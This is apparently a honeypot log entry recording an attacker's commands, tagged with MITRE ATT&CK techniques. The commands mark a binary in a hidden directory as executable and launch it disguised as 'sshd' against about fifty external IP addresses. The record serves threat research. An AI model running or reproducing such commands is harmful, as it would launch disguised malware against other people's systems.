Honeypot attack session (period 2024), commands issued:
chmod +x ./.4424631302766423568/sshd;nohup ./.4424631302766423568/sshd 172.245.79.216 103.244.80.196 183.134.74.142 188.93.237.82 185.216.75.66 23.94.136.106 3.143.147.119 36.103.178.190 106.116.209.107 58.223.177.13 219.154.235.51 222.77.96.62 158.51.96.38 123.184.43.214 159.65.20.186 186.233.119.15 94.228.113.141 5.250.180.124 157.245.137.163 107.172.84.105 64.225.76.134 223.112.89.194 104.248.63.189 79.127.11.90 14.116.213.236 125.88.222.0 45.82.15.60 36.108.168.4 5.42.73.122 115.239.255.13 5.42.105.40 181.113.114.115 180.163.61.238 54.193.176.108 188.92.28.249 114.236.138.231 27.128.245.170 102.130.123.110 123.207.55.61 182.151.25.46 43.248.188.103 36.26.88.123 112.4.238.226 119.97.253.24 185.22.65.186 211.37.174.239 154.12.187.10 85.133.151.219 18.144.50.154 180.100.197.151 37.46.133.127 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter